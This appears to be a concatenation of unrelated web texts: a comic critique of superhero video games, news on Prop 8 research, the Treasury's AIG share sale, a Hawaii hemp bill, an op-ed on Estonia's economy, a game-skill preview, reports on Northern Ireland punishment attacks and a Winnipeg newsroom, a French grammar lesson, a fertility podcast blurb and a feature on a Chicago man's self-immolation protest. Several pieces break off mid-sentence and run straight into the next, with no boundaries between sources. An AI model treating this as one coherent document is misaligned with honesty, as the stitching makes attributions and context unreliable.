I would much rather have a Spider-Man game with an uneven story that wasn't meant to fit into some larger movie plot than one that was. The earlier Spider-Man movie games fixed this by just presenting the movie plots with crazier shit added to them. You got to fight the Green Goblin after you fought his unlimited army of robots. The Amazing games are set before, during, and after the plots of the movies, and if this sounds like a weird way to produce enthusiasm for anything, then you are vastly over-qualified to write a new Spider-Man game. Superhero games love to do this, and they never fail to produce continuity errors in later movies, turning what should be an epic story into the time that the X-Men fought a giant robot and, oh wait, never mind, that didn't happen at all.
And since they're blindly trying to not ruin the continuity of a movie series, you end up fighting all of the villains that probably won't show up in the next film. This means that you get to fight guys like Mysterio, Kraven, Rhino, and fucking Scorpion (aka Spider-Man minus webs, plus tail) every few years. Studios are happy to pit you against Hammerhead in a game because they assume that they probably won't have to worry about shoving him into a movie until they reach Spider-Man 14.
But even superhero games with original stories fail, because...
#4. They're Too Focused On A Certain Gimmick
Activision
X-Men: Destiny prominently featured The cover ofprominently featured eight famous mutants on it, and you got to play as none of them. Instead, you got to "choose your destiny" and play as one of the three ambiguous primary colors on the bottom of the box. Sure, the X-Men and the Brotherhood of Evil Mutants make cameos, but "You get to talk to... WOLVERINE" should only be a selling point if Hugh Jackman pops out of your TV to have breakfast with you.
Activision
Why PLAY as Wolverine, when you can CHAT with Wolverine? That's what the kids want these days.
Even if they do allow you to play as the first half of the title, somewhere along the line, the makers of superhero games decided that playing as a superhero in a functional, engaging way wasn't enough. No, the game really had to be about the internal struggle between good and evil, or about forcing you to play as different versions of the same character. I'm talking about Spider-Man games again for the most part, because between 2004 and 2014, we received the annual gift of a game that was only sort of about enjoying Spider-Man, and mainly about the different ways that they could get you to not play as regular Spider-Man.
What's so awful about regular Spider-Man that we're always asked to be a shittier version of him? When Amazing Fantasy #15 came out in 1962, was there a silent outcry of people who thought the comic would be way better if Spider-Man just left bystanders to die if he didn't feel like saving them? When I was 13, enraptured by Sam Raimi's Spider-Man, I never once thought "This is good, but what it's missing is more of Spider-Man being a needless dick to the innocent."
Columbia Pictures
"With great power comes the ability to be an ass to anyone who's not as strong as you."
If I'm playing as Venom or wearing the black alien costume, sure, I'll beat villains to death if I have to, because I'm evil as hell. But if I'm playing as classic Spider-Man and the game gives me that tired "OH, THE CHOICES!!!" thing, I'm gonna rescue every civilian from every bomb threat in the five boroughs, because I'm Spider-Man, and when I'm Spider-Man, I do Spider-Man things. And when I'm playing something like Shattered Dimensions, I'm going to be disappointed whenever they interrupt my delight to make me control a goggle-wearing Spider-Man with fewer powers. Give that guy his own game so that I don't have to worry that I'm going to finish a normally-powered level, only to be thrust back into "noir" world where my strengths are sneaking around and quips, and my weakness is everything.
Activision
It's not wish fulfillment if I can survive more gunshots than the radioactive freak I'm playing as.
Batman: Arkham Knight had a ton of flaws, but when they plastered "BE THE BATMAN" on their box and promotional materials, they didn't mean it as "BE THE BATMAN, and maybe shoot some people if you feel so inclined." They meant it as "You get to play as Batman, the solemn After-School Detention Administrator of the comics world." But the worst game gimmicks aren't just reserved for dumb plot points...
#3. New Superhero "Technology" Is Overused
Warner Bros. Interactive Entertainment
Batman: Arkham Knight was the first Arkham game that let you control the Batmobile, and that was great. You could even turn it into a tank and fight little enemy tanks, and that was pretty good as well. It also let you fight a villain was the firstgame that let you control the Batmobile, and that was great. You could even turn it into a tank and fight little enemy tanks, and that was pretty good as well. It also let you fight a villain (whom you had a much more satisfying boss fight with in a previous game) while you were both in your own tanks. That's not optimal, but it's better than nothing, I guess...
But wait! It also let you solve Batmobile-specific puzzles with your car, which effectively turned the greatest piece of technology in DC Comics into a door-opening machine. Eh, I'm not so into tha- Hold on! You can also change the Batmobile to look like the one from Tim Burton's Batman, but they never programmed the tank parts of it, so you just get to drive around in it. Like Batman would! Except you were just driving a more capable Batcar, so instead of Burton/Batman nostalgia, all you get is the constant reminder that everything you love will eventually be replaced by something shinier.
Warner Bros. Interactive Entertainment
Remember the feeling you had when you first saw Batman? You'll never feel that good again.
I love the Arkham series, but the later ones all have one massive downside that almost made me stop playing them for a few hours. As the game winds down, you're forced to use some kind of ludicrous weapon, like an ice-blasting Batarang or an electric shock grappling hook, in order to make it through an area, and it rarely improves the game. They take an hour to master and then 10 seconds to use, after which Batman forgets about them completely.
And such puzzles aren't difficult because they're inherently tricky; they're difficult because, as a player and as a Batman, I'm not going to be too adept at using the clunky item combination that I just invented. You can play through the game perfectly, and then die two dozen times at the end because the explosive accelerated line launcher consistently throws Batman into the various bodies of water that populate the basement of every asylum and factory in Gotham City rather than dropping him where he needs to go. Batman's greatest enemy isn't the Joker. It's whatever random voice-controlled hacking bomb he decided to scrap together that morning.Let’s see, so far, California’s Proposition 8 banning gay marriage has been found to be unconstitutional, unnecessary (or did we miss the collapse of traditional marriage in Massachusetts, Connecticut or the four other jurisdictions in which same-sex marriage is legal?) and just plain bad for the wedding reception industry. Now comes word, courtesy of the journal Family Process, that it’s also bad for kids.A new study by family therapist Arlene Istar Lev shows that children of gay and lesbian individuals and couples are actually better adjusted and have fewer social problems than peers raised by heterosexuals. Before Prop 8–lovers charge reverse bias, there’s a simple explanation for the phenomenon: gay and lesbian parents feel pressure to try harder, lest any shortcomings in their kids be taken as a sign of their inadequacy as parents.
Paradoxically, it may even be harder for the kids of non-straight parents to come out as gay or lesbian themselves. Why? “There is an assumption that the optimal outcome is to produce heterosexual children,” Lev says. “Gay parents may struggle with having gay or transgender children…because of the societal pressure they feel to raise ‘normal’ children.” One more reason for the culture warriors to tend their own gardens and let other parents — gay or straight — tend theirs.Apparently, $18 billion worth of American International Group shares weren’t enough for investors.
The Treasury Department said on Tuesday that it had sold an additional $2.7 billion worth of its holdings in the bailed-out insurance giant, as underwriters for the offering exercised what’s known as an overallotment option to meet higher-than-expected demand.
At $20.7 billion, the offering is the single-biggest sale of Treasury’s holdings in A.I.G. to date.
The banks running the stock sale priced the shares on Monday night at $32.50, which is above the $28.73 that the government says is its break-even price on its investment.
The expanded offering means that the federal government’s stake in A.I.G. has now fallen to about 15.9 percent, down from 53 percent before the stock sale. As recently as April of 2011, the Treasury Department held a 92 percent stake in the financial firm.
The department added in a statement that it and the Federal Reserve Bank of New York had recovered about $197.4 billion from their collective rescue of A.I.G. in the depths of the financial crisis in 2008, pulling in more than the $182 billion that the government had made available for the bailout. But that calculation includes the cancellation of roughly $50 billion in potential aid that was never doled out.
Investors appeared little moved by the news of the offering’s terms on Tuesday. Shares in A.I.G. were nearly flat in late trading, at $33.31, though they had fallen 2 percent on Monday in anticipation of the Treasury Department’s forthcoming sale.A bill to allow private farmers to grow and sell industrial hemp through permits from the State Department of Agriculture (HB2555) has unanimously passed the Hawaii State House of Representatives and will crossover to the Senate.
Rep. Kaniela Ing (D-Kihei), who wrote and introduced the bill along with 34 of his colleagues, expressed that the purpose of this measure goes beyond a single crop:
“Farmers called for the legalization of industrial hemp, and I am ecstatic to help answer that call. However, industrial hemp is only a part of our necessary vision for renewable, no-burn, diversified agriculture on Maui. My goal is to help form new and much needed unity on Maui. After all, we all want to keep Maui green, and save hundreds of jobs.”
Rep. Ing called the measure “the most robust industrial hemp bill being considered this year,” saying it follows models in Kentucky and Colorado to legalize industrial hemp to the full extent as permitted by Federal law by requiring all growers to enter into a memorandum of understanding with the State Department of Agriculture.
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Ing says that the measure is part of package of bills to respond to HC&S’ recently announced cessation of sugar on Maui.
“Amid the tragic end of the sugar era, we must act quickly to prevent a dustbowl, prolonged joblessness, or rampant development. I am also working to incentivize biofuel crops like sunflowers, form ag-parks so new farmers can grow local food like mango and avocado, and extend training assistance to displaced sugar workers.”
Ing said public support has been growing with over 4,500 people signed onto a change.org petition in support of industrial hemp on Maui, and Maui Brewing Co.’s recent announcement of their soon-to-be released promotional Hemp beer.Most Eastern European countries that were controlled by the communists have had successful political/economic transitions and are far more prosperous than they were two decades ago, but none has come as far as Estonia.The Estonians are closely related to the Finns, and their languages are close as well. Tallinn, the capital of Estonia, is only about 50 miles from Helsinki, the capital of Finland, and they are in commuting distance by hydrofoil across the Gulf of Finland.Before the Soviet Union conquered Estonia in 1939, the Estonians and Finns had close to the same standard of living. But the Finns were able to maintain their freedom by conducting a vigorous defense against the Soviet invasion in 1939.The Finnish economy prospered after World War II, while the Estonian economy was destroyed by the Soviets. By 1987, it is estimated that the Finns were seven times richer per capita than the Estonians. But as a result of undertaking the most radical free-market reforms of any of the transition countries, the Estonians have been gaining on their Finnish neighbors, who also have continued to do well, and now have about two-thirds of the per capita income of the average Finn.My first trip to Estonia came when it was still under Soviet occupation. Basic goods, including many foods, were scarce.Tallinn was a dangerous city after dark, as drunken bands of Russian soldiers wandered the streets taking whatever liberties they wished.The old town in Tallinn is one of the most picturesque medieval places on the planet, but the communists let it decay — like everything else they touched. I remember thinking how glorious it would be if it were restored.Once property rights were re-established after the Estonian “singing revolution” and liberation more than 20 years ago, the old town was quickly restored, and it is indeed glorious.In 1992, a 32-year old historian by the name of Mart Laar became prime minister. As Mr. Laar often mentions, at the time he had only read one economics book and that was Milton Friedman’s “Free to Choose.”He says, “It sounded good to me so we went ahead and did it.” Under Mr. Laar’s leadership, they did not diddle with reform, they went at it on all fronts full speed ahead — “shock therapy.” They re-established the rule of law, property rights, and were serious about getting rid of corruption. They opened themselves to trade and privatized most of the economy. Also, they instituted a flat tax, which was quickly copied by many other countries, including Russia.In 2004, Estonia joined the European Union and NATO, and it adopted the euro in January 2011, which, in retrospect, might have been a mistake, given the debt burdens of many of the euro economies.As can be seen in the accompanying chart, the Estonians have done many things right, but still have some problems. Estonia is one of the most economically free countries in the world and it is easy to do business there. It has the lowest debt/GDP ratio in Europe and has maintained fiscally sound policies, unlike most countries, including the United States.It had a boom from 2003 to 2008 when the economy grew by more than 8 percent a year, but, like the U.S. and many other places, a property bubble developed and the crash of 2009 resulted in a sharp drop in gross domestic product and a huge increase in unemployment.The good news is Estonia is now back on a growth path and, unlike the U.S., Estonia is still following free-market principles and the expectation is it will soon recover its lost ground.It is a tribute to Mart Laar that during his two terms as prime minister (1992 to 1994, and 1999 to 2002) and in the years since, despite different parties controlling the government, the basic economic policies and freedoms that he had a major role in designing and implementing are still in place.Estonia serves as an example — even for the United States — of what can be accomplished by keeping down deficits and debt, and utilizing a flat tax rather than a progressive income tax.The Estonians have also been the leaders in utilizing “e-government” whereby most government-citizen interactions are done over the Internet, which reduces both cost and bureaucracy. Every country could benefit from this Estonian innovation.Recently we revealed two skills we're working on: Charged Dash and Storm Burst. We're also working on a third skill, Dark Pact! While this skill is a work in progress and still may undergo some changes, we're excited to reveal a preview of how this skill currently works.
Dark Pact is a new Chaos spell that sacrifices your life or the life of your skeleton minions to do area chaos damage. If you have skeleton minions summoned near where you cast, the skill will chain between them, sacrificing a portion of their life to do a large amount of area damage around them. If you've got no skeleton minions or they're a long way away from where you cast, you instead sacrifice your own life. If you do so, the skill has a bonus to radius and damage.
Because the damage dealt by the skill is based on life, the skill has a unique build setup, involving specializing in minion life or player life and maximizing chaos and spell damage. The skill also works well with Minion Instability and the Necromancer's Beacon of Corruption, as you're able to forcibly cause your skeletons to reach low life.
The skill doesn't do damage to you or your skeletons, it instead instantly removes life, so the skill does not work with Cast when Damage Taken and other self-damage setups and cannot be mitigated. Instead, the caster must use leech or other forms of life recovery to sustain their own life when used on themselves, or resummon their skeletons if they die.
Here is a video of the skill in action, used on a character that uses Dark Pact through their skeletons, and on a different character that sacrifices their own life.Two 'punishment-style' attacks carried out every week in Northern Ireland BelfastTelegraph.co.uk Two paramilitary-style shootings or beatings are taking place on the streets of Northern Ireland every week, the Belfast Telegraph can reveal. https://www.belfasttelegraph.co.uk/news/northern-ireland/two-punishmentstyle-attacks-carried-out-every-week-in-northern-ireland-30712724.html https://www.belfasttelegraph.co.uk/news/northern-ireland/article30712723.ece/f0d79/AUTOCROP/h342/2014-11-03_new_4377123_I3.JPG
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Two paramilitary-style shootings or beatings are taking place on the streets of Northern Ireland every week, the Belfast Telegraph can reveal.
With the number of assaults on the rise, police have reopened investigations into hundreds of so-called punishment attacks across the region in the past five years.
Figures show that from April until September this year there were 41 shootings or beatings - 20 years after the loyalist and republican ceasefires.
In the past year there has been an average of two shootings every month.
In the latest attack a man was shot in both legs in Londonderry last night, the second such attack in two days.
The 26-year-old was wounded in both legs in the Shantallow area.
A 42-year-old man was said to have been shot in the leg "by appointment" in the Ballymagroarty area of Derry the previous night.
PSNI chief George Hamilton has revealed the PSNI is currently re-examining incidents since 2009 in the hope of unearthing fresh evidence.
"A key element to tackling paramilitary-style attacks is our continuing work to secure and build trust and support for the police within our most vulnerable communities," he said. "Serious Crime Branch has provided and continues to provide specialist investigative support to paramilitary attack investigations led by District CID, ensuring that they are carried out to the highest possible standards."
He told members of the Policing Board: "The PSNI are in the process of conducting a review of all punishment style attacks since 2009 to ensure that all investigative and forensic opportunities have been exploited. To date 256 reviews have been completed. This includes the revisit of victims, where appropriate, as part of this proactive strategy.
"This is a protracted piece of work, however the PSNI will continue to actively pursue and progress all opportunities to detect those responsible for such attacks."
Over the past year there have been 76 punishment attacks, beatings or shootings, across Northern Ireland. Figures obtained from the PSNI show that between October 2013 and September there was an increase from 44 to 49 victims of punishment assaults compared to the previous year.
During the same time there were 27 paramilitary-style shootings - one more than the year before.
Human rights group Amnesty International said there was no place in society for vigilante activity and called for an independent body to set up to deal with the violence.
Grainne Teggart, from Amnesty, told the Belfast Telegraph: "Paramilitary-style attacks are a throwback to Northern Ireland's violent past and symptomatic of a wider failure to effectively deal with the past.
"With inter-party talks already under way and the arrival of US envoy Gary Hart to NI to consider issues including the legacy of the past, Amnesty International is calling on our political leaders to agree a new, comprehensive process to review the conflict and to establish the truth about outstanding human rights violations committed by all parties, including paramilitary attacks.
"Amnesty is recommending the establishment of a single, overarching mechanism to independently investigate all outstanding cases of human rights abuses, including cases of torture and ill-treatment.
"The mechanism should examine patterns of abuses - including the policies and practices of paramilitaries, with the potential to lead to criminal prosecutions."
Sinn Fein councillor Eric McGinley said the ongoing attacks in Derry were extremely worrying.
Police said they received a report a man had been shot in the left leg at Corrib Court by a man described as being approximately 6ft tall, who was wearing a balaclava and dark clothing.
The victim was taken to hospital for treatment to his injury, which is not believed to be life-threatening.
Mr McGinley added: "It's important to repeat the message that there is no place for guns on the streets of our city."
In April 2012, then PSNI Chief Constable Matt Baggott announced a new initiative to tackle punishment attacks.
The majority of paramilitary-style shootings carried out in recent years have been attributed to republicans, whereas previously most were linked to loyalists.
Belfast TelegraphOn Thursday, July 13, the Winnipeg Free Press newsroom had 62 people scheduled to work, including five summer interns. (Ten regular staffers were on vacation.) The efforts of only a couple of dozen of them would have been obvious to people reading Free Press stories produced that day. The complex choreography that allows a news organization to cover daily news while also juggling features and investigations happens largely behind the scenes.
Winnipeg Free Press legislature reporter Larry Kusch. He has spent months this year writing about changes and cuts to Manitoba health care. ( photos by Trevor Hagan / For the Toronto Star )
For instance, literary editor Ben MacPhee-Sigurdson was working nine days ahead on the Saturday book section of July 22. He sorts through 40 to 50 books a week, deciding which to send to his three dozen freelance reviewers for the eight reviews he needs. And the arts department was finishing its exhaustive coverage plan for the upcoming Winnipeg Fringe Festival, featuring 188 shows over 12 days. And so on and so on, in every department, through every level of planning, reporting, editing and production. The first shift on July 13 started at 6 a.m. The final story was posted online at 12:10 a.m. July 14. Here are some highlights behind the day.
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6 a.m. — early arrivals Carl DeGurse starts the first assignment shift, scanning other media sites, checking overnight emails, answering the phone and co-ordinating the nine general-assignment reporters available on this day. Photographer Wayne Glowacki and videographer Mike Deal are covering Jimmy Carter’s visit to a Habitat for Humanity build in Winnipeg. Security for former U.S. presidents being what it is, they had to apply for accreditation weeks ago, and they have to be on site by 6:30, though Carter’s first scheduled event isn’t until 8 a.m.
Videographer Mike Deal, seen in the newsroom; he got exclusive footage of Jimmy Carter collapsing. ( Trevor Hagan/for the toronto star )
8 a.m. — The press pen Carter and his wife Rosalynn — longtime volunteers with Habitat for Humanity, the organization in which low-income families help build their own homes — arrive and Glowacki is taking photos from what organizers “call the press pen,” he says later. “Like a pig pen? — this little picket-fenced area.” He’s hemmed in but gets a photo he likes and transmits it for a quick website post, using Wi-Fi to connect his camera to his phone. He had prepared a few captions the previous night, using the official Carter agenda as a guide, so he could work faster today. 9:03 — First of many
Melissa Martin’s first story is posted on the Free Press website. She’ll be writing and tweeting about the Carters throughout their visit. 9:15 — The legislature reporter
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Larry Kusch has spent months writing about the Manitoba government’s health reforms, including a front-page story in this morning’s paper about cuts to outpatient physiotherapy services. He lets the assignment editor know he’ll be following more angles on this, including trying to get “what my editors call ‘a real person,’” in this case an outpatient. He’ll also check tips on a couple of other issues. 9:45ish — Carter collapses Jimmy Carter has been working on a Habitat house with hammer and saw in the hot sun for an hour. Martin is in her car recharging her phone. Photographers have moved to a nearby tent for a 10:45 press conference. Glowacki hangs back for a few minutes, and that’s when the 92-year-old Carter wobbles and drops to his knees. His security people close in. Ignoring a Habitat person who says “You shouldn’t be taking pictures of that,” Glowacki gets the best photos he can through the crowd, “and then I got my phone and I messaged to Melissa and to Mike to come back here.” Deal had been setting up his video equipment in the tent. “I grabbed my camera off my tripod,” forgetting it was wired to a soundboard, he says later. “I forgot and I pulled it and everyone’s like, what’s going on? I just ignored everyone and ran off.” He’s shooting as he goes, and realizes he has captured Carter in the distance. He gets 16 seconds of Carter’s head bobbing among the phalanx of security. 10 — The morning meeting Yesterday’s physio cuts story is the top performer on the website, and as senior editors discuss the day’s plans, one of them suggests an additional angle for Kusch to pursue: How will this affect people getting knee and hip replacements, a growth field for baby boomers? The rest of the lineup is straightforward. Coverage of the Carter visit was long planned, so little is said about it — until photo editor Mike Aporius gets an email about Carter’s collapse. He runs out of the meeting to find out more. 10:19, 10:42, 11:01, 11:29 — Online updates Martin has looked at the photographers’ stills and video footage and is emailing updates to her original web story. She’s still tweeting. 11:45 — Home page down There’s a whoosh as editor-in-chief Paul Samyn stalks out the newsroom door to the technology department, cursing. The website’s home page isn’t loading. The problem lasts about 15 minutes but the timing is bad: There’s usually a readership peak around noon, and today the Free Press also has the Carter collapse. It turns out the U.S. company behind the publishing platform was doing technical work — something out of the newspaper’s hands, Samyn says later. “I told them, ‘One of your former U.S. presidents has collapsed in our city. We need it up and operational and we need it now.’”
Free Press editor-in-chief Paul Samyn. When an off-site technical sn |
overall editorial and managerial responsibility for UK-wide and global news and current affairs on radio, television and oneline," according to a BBC report.1 of 15 View Caption
Scott Sommerdorf | The Salt Lake Tribune The Utes take the field as Utah takes on Montana State at Rice-Eccles Stadium Thursday Scott Sommerdorf | The Salt Lake Tribune Utah Utes wide receiver Dres Anderson (6) carries the ball pursued by Montana State Bo Trent Nelson | The Salt Lake Tribune Montana State Bobcats punter Rory Perez (18) kicks the ball in the first quarter as Utah t Trent Nelson | The Salt Lake Tribune Utah head coach Kyle Whittingham walks the sidelines in the first quarter as Utah takes on Trent Nelson | The Salt Lake Tribune Utah Utes quarterback Jordan Wynn (3) looks for a reciever in the first quarter as Utah ta Trent Nelson | The Salt Lake Tribune Utah Utes quarterback Jordan Wynn (3) looks for a reciever in the first quarter as Utah ta Trent Nelson | The Salt Lake Tribune The Utes take the field as Utah takes on Montana State at Rice-Eccles Stadium Thursday, Se Trent Nelson | The Salt Lake Tribune Utah Utes wide receiver DeVonte Christopher (10) scores the first touchdown of the game pa Scott Sommerdorf | The Salt Lake Tribune Utah Utes defensive back Reggie Topps (28) dives to tackle Montana State Bobcats wide Trent Nelson | The Salt Lake Tribune Utah head coach Kyle Whittingham talks to Utah Utes linebacker Brian Blechen (4) on the s Trent Nelson | The Salt Lake Tribune Utah Utes running back John White IV (15) runs the ball for a touchdown in the first quart Trent Nelson | The Salt Lake Tribune Utah Utes wide receiver Dres Anderson (6) runs the ball in the first quarter as Utah takes Trent Nelson | The Salt Lake Tribune Montana State Bobcats tight end Steven Foster (89) and offensive linesman Casey Dennehy (5 Trent Nelson | The Salt Lake Tribune Utah Utes running back John White IV (15) scores a touchdown in the first quarter as Utah Trent Nelson | The Salt Lake Tribune Utah Utes running back John White IV (15) is tackled by Montana State Bobcats cornerback DFrench past tenses
The most important French past tenses are the passé composé and the imparfait, and they are troublesome for several reasons. While l’imparfait is more or less equivalent to the English past progressive, l’imparfait is more widely used, especially with verbs like avoir and être. As for the passé composé, it has three English equivalents. Be sure you fully understand these two French tenses before continuing with this lesson.
For French students, the trickiest aspect of these French verb forms is that they often work together, juxtaposed not only throughout stories, but even within individual sentences. Understanding the contrasting relationship between the passé composé and imparfait is essential to communicating in French.
vs
In a nutshell, the imparfait is used for incomplete actions while the passé composé is reserved for completed ones, but of course it’s more complicated than that.
Incomplete vs Complete Imparfait explains what was happening, with no indication of when or even if it ended. Passé composé announces what happened, actions that were completed. J’étais à l’école. I was at school. Je suis arrivé tôt. I arrived early. Je faisais mes devoirs. I was doing my homework. J’ai fini mes devoirs. I finished my homework. Uncounted vs Counted Imparfait details what used to happen on a regular basis, or happened an indefinite number of times. Passé composé expresses what happened a specific number of times. J’étudiais le lundi. I used to study on Mondays. J’ai étudié lundi. I studied on (a specific) Monday. Je perdais constamment mon livre. I was always losing my book. J’ai perdu mon livre deux fois. I lost my book twice. Ongoing vs New Imparfait indicates an ongoing state of being or feeling. Passé composé reports a change in a state of being, a new feeling. J’aimais l’école. I liked school. À ce moment, j’ai détesté l’école. At that moment, I hated school. J’étais toujours inspiré par mes profs. I was always inspired by my teachers. J’ai été inspiré par ton succès. I was (became) inspired by your success. Background + Event Imparfait describes what was happening or how something was when … … the passé composé interrupted with news of some occurence. J’étais à l’école quand … I was at school when … … il a commencé à pleuvoir. … it started raining. J’essayais d’étudier mais … I was trying to study but … … mon ami m’a posé une question. … my friend asked me a question.
Imparfait and passé composé in action
To give you an idea of how these tenses work, together and separately, here are three similar stories using each tense individually and then both together.
Histoire à l’imparfait Quand j’étais lycéen, j’étudiais tous les jours. Je voulais être accepté dans une grande école parce que je souhaitais être politicien. Je lisais les journaux régulièrement et je commentais constamment l’actualité en compagnie de mes amis. When I was in high school, I studied every day. I wanted to be accepted into a prestigious university because I hoped to be a politician. I read newspapers regularly and I talked about current events all the time to my friends. Histoire au passé composé Quand j’ai décidé d’être politicien, j’ai commencé à étudier tous les jours. J’ai fait des recherches et j’ai choisi une grande école. Cependant, je n’ai lu le journal que trois fois en un an, et, un soir, quand j’ai parlé de l’actualité pendant un dîner, je me suis rendu ridicule devant tout le monde. When I decided to be a politician, I started studying every day. I did research and chose a prestigious university. However, I only read the newspaper three times in one year, and, one evening, when I talked about current events at a dinner party, I made a fool of myself in front of everyone. Histoire aux temps passés mélangés Quand j’étais lycéen, j’ai décidé que je voulais être politicien. J’étudiais tous les jours parce que je devais, pour cela, être accepté dans une grande école. Je lisais les journaux régulièrement, et, un soir, quand j’ai parlé de l’actualité pendant un dîner, j’ai impressionné tout le monde. When I was in high school, I decided that I wanted to be a politician. I studied every day because for that I needed to be accepted into a prestigious university. I read newspapers regularly and one evening, when I talked about current events at a dinner party, I impressed everyone.
Imparfait and passé composé clues
Some words and phrases are virtually always used with the imparfait, while others seem to stick like glue to the passé composé. These lists can help you determine which tense you need in any given sentence.
Imparfait Passé composé chaque semaine, mois, année every week, month, year une semaine, un mois, un an one week, month, year le week-end on the weekends un week-end one weekend le lundi, le mardi… on Mondays, on Tuesdays… lundi, mardi… on Monday, on Tuesday tous les jours every day un jour one day le matin, le soir in the mornings, in the evenings un matin, un soir one morning, one evening toujours always (in the past) toujours always (and still now) normalement, d’habitude usually plusieurs fois several times en général, généralement in general, generally une fois, deux fois… once, twice… souvent often soudain, soudainement suddenly parfois, quelquefois sometimes tout à coup all of a sudden de temps en temps from time to time tout d’un coup in one fell swoop rarement rarely d’abord first autrefois formerly ensuite, puis next, then enfin finally finalement in the end
More imparfait vs passé composé
Remember that in literature and other formal writing, thetakes the place of the
Video: Passé composé vs imparfait
vsfill-in-the-blanks exercises
Note: You must be logged into your Progress with Lawless French account to take these tests. If you don’t have one, sign up – it’s free!
French lesson plan
En español
Related lessonsShare / Tweet / Pin Me!Aimee is a licensed acupuncturist and herbalist, and she incorporates her background in Western science with the principles of traditional Oriental medicine to create a unique, effective approach to help her clients reconnect to the presence of their optimal health. In addition to helping thousands of women on their path to conception, Aimee herself naturally and easily became pregnant at the age of 40 by following her own advice. Her mission through her teachings is to educate and inspire women, improve their health, celebrate their beauty, and prevent disease, as well as increase their fertility.
In today’s show, we talk all about the emotional aspects of fertility, the connection between our thoughts and our health, and why it is so important for us to take control of our fertility & our health.
Topics discussed in today’s episode
How is a woman’s fertility intertwined with her health?
Why we need to change the way we think about and address infertility
How does Chinese Medicine view fertility?
The difference between our chronological age & our actual age based on how we live our lives
What is the connection between our fertility and our emotional state?
The connection between our thoughts and our health
Why it is important to take our health and fertility into our own hands
Preparing for pregnancy both physically and emotionally
Aimee’s 5 step process to clean up our thoughts and improve our relationship with ourselves
Finding ways to connect with the things that bring you joy
Connect with Aimee
You can connect with Aimee on her website and on Facebook, Twitter & Youtube!
Resources mentioned
Join the community! Find us on the Fertility Friday Facebook Fan Page
Subscribe to the Fertility Friday Podcast on iTunes!
Music Credit: Intro/Outro music Produced by Sirc of (The Nock)In December 2002, the city of Chicago dedicated a statue called "The Flame of the Millennium"-- a seven-ton, stainless-steel, abstract rendering of a flame in high wind, standing over the Kennedy Expressway, just west of the downtown Loop. Last Friday, November 3, the statue appeared to be on fire. When authorities got there, they found a video camera, a canister of gasoline, a sign reading "Thou Shalt Not Kill", and a human body so badly charred that it was impossible to determine its sex. Someone had self-immolated, near a highway off-ramp, amid rush-hour traffic.
Over the next few days, members of Chicago's avant-garde music community would be shocked to learn that the person who'd done this was one of their own-- someone many of them had been running into, several nights a week, for more than a decade. Tougher still would be dealing with the reasons behind it. According to the statements left on his website, 52-year-old Malachi Ritscher had set himself on fire to protest the war in Iraq and the politics that allowed it to happen. And thus began the same debate, among his friends, among the public, on blogs, and in comment boxes across the internet-- an argument about which of two pigeonholes we'd slot this into: Was it an important act of political protest, or the tragic end of a mentally ill person?
Most fans of underground music are probably aware of Chicago's experimental music scene, or at least its most prominent figures: People like jazz saxophonist Ken Vandermark, who won a MacArthur Fellowship in 1999, or the countless players-- Jeb Bishop, Chad Taylor, Fred Lonberg-Holm-- whose names became recognizable to indie fans during the 1990s, in the heyday of Chicago post-rock. If you haven't spent time in Chicago, though, it's easy to underestimate how vibrant the scene is, and has been. Over the past decade, every week in the city has offered multiple opportunities to see avant-garde music, improvised instrumental performances, and free jazz performed by musicians from around the city and around the world, all of it supported by a large and complex circle of artists and fans. Just tracking down who's playing with whom can be a discographer's nightmare: This is a scene that cooperates.
And those most involved in that scene knew Malachi Ritscher. For years, he'd been a constant presence in the community, and probably its most committed documentarian: From the late 1980s onward, he spent an incredible number of nights out at shows, recording and photographing the musicians, and spending time with other fans. "According to his website, he recorded approximately 2,000 shows," says Dave Rempis, who plays saxophone in the Vandermark Five. "That would be six years of recording a show every single night. And from being around this scene, I can tell you that's not at all an overestimation. He was constantly at concerts-- I'd see him five nights a week."
"The recording was a big deal," says percussionist Michael Zerang, who's also played in a Vandermark-led group. "A lot of us couldn't afford recordings, and he would do it and virtually give it to us for free." Dozens of those recordings wound up becoming official releases, either through the artist's labels, or through Ritcher's own Savage Sound Syndicate. "Whenever I saw him," says Rempis, "he'd have a stack of 10 or 20 CD-Rs in his bag, so he could say, 'Oh yeah, I have something for you.'"
For most people, Ritscher's support meant just as much as his recording skills-- especially when it came to music that was so lacking in any kind of broad commercial appeal. "Just by being present all the time," says Zerang, laughing fondly, "well, there was always at least one person there." Bruce Finkelman owns the Empty Bottle-- a key venue for rock and experimental music-- and became used to seeing Ritscher show up for just about all of it: "Twenty below zero temperatures, three people in the club, and Malachi was one of them. Five feet of snow on the ground, and no one showing up, and he was there." It's a level of passion and enthusiasm that should be unimaginable to most of us-- going out, every other night, even in Chicago winters, to see free jazz?
All of these people remember Ritscher warmly: He was kind, intelligent, funny, outgoing, polite. And yet there's not much doubt that Ritscher was also, in a lot of ways, alone. He was born Mark David Ritscher, in 1954, in North Dakota; according to the obituary he posted to his own website, he dropped out of high school and married at age 17. He had a son. Ten years later, when his marriage dissolved, Ritscher moved to Chicago and immersed himself in the music scene-- taking his son's name, Malachi, for his own. Music wasn't the only thing he immersed himself in, either: He was an active anti-war activist, an avid photographer, a collector, a reader, and a writer. He painted watercolors, wrote poetry, dabbled with various musical instruments, and grew peppers for his own hot-sauce recipe.
One thing he did not seem to do was forge close friendships. He was estranged from his ex-wife, son, and grandchildren. People in Chicago knew him, saw him often, and found him outgoing and friendly-- but that tended to be the extent of it. "I always kind of got the impression that Malachi chose to distance himself a little bit from people," says Rempis. "I don't think he had a regular group of friends who called him up and said 'Do you want to go out on Friday night?' He moved as an individual, mostly. He was to some degree a loner, and I think he would probably describe himself that way-- the ironic part of it being that he knew hundreds of people around town. For me, I don't even know if I had his phone number, but I saw him maybe three nights a week. He knew many, many people who without a doubt would have described him as a friend."
Writing his own obituary, Ritscher says much the same: "As a child, he was intensely afraid of many things, especially heights; he spent the rest of his life trying to face his fears, without ever coming to terms with his fear of people....He had many acquaintances, but few friends; and wrote his own obituary, because no one else really knew him."
Self-immolation is not a common act, mostly because it's one of the slowest, most painful, and messiest ways a person can kill himself. For most Americans, consciousness of the act comes down to one man, and one photograph: a 1963 shot of a Vietnamese monk named Thích Quảng Đức, seated in the Lotus position in the middle of a Saigon street, consumed by flames, protesting the treatment of Buddhists under a Catholic regime. The few monks who did this didn't consider it suicide, but rather a form of non-violent protest-- a way for pacifists to speak louder than those who kill. (Gandhi, when questioned on the limits of pacifism, had suggested similar thinking.) There's no question that self-immolation is agonizing, and that's precisely why it's been used as a form of protest: It's meant to show an intense commitment to one's cause.
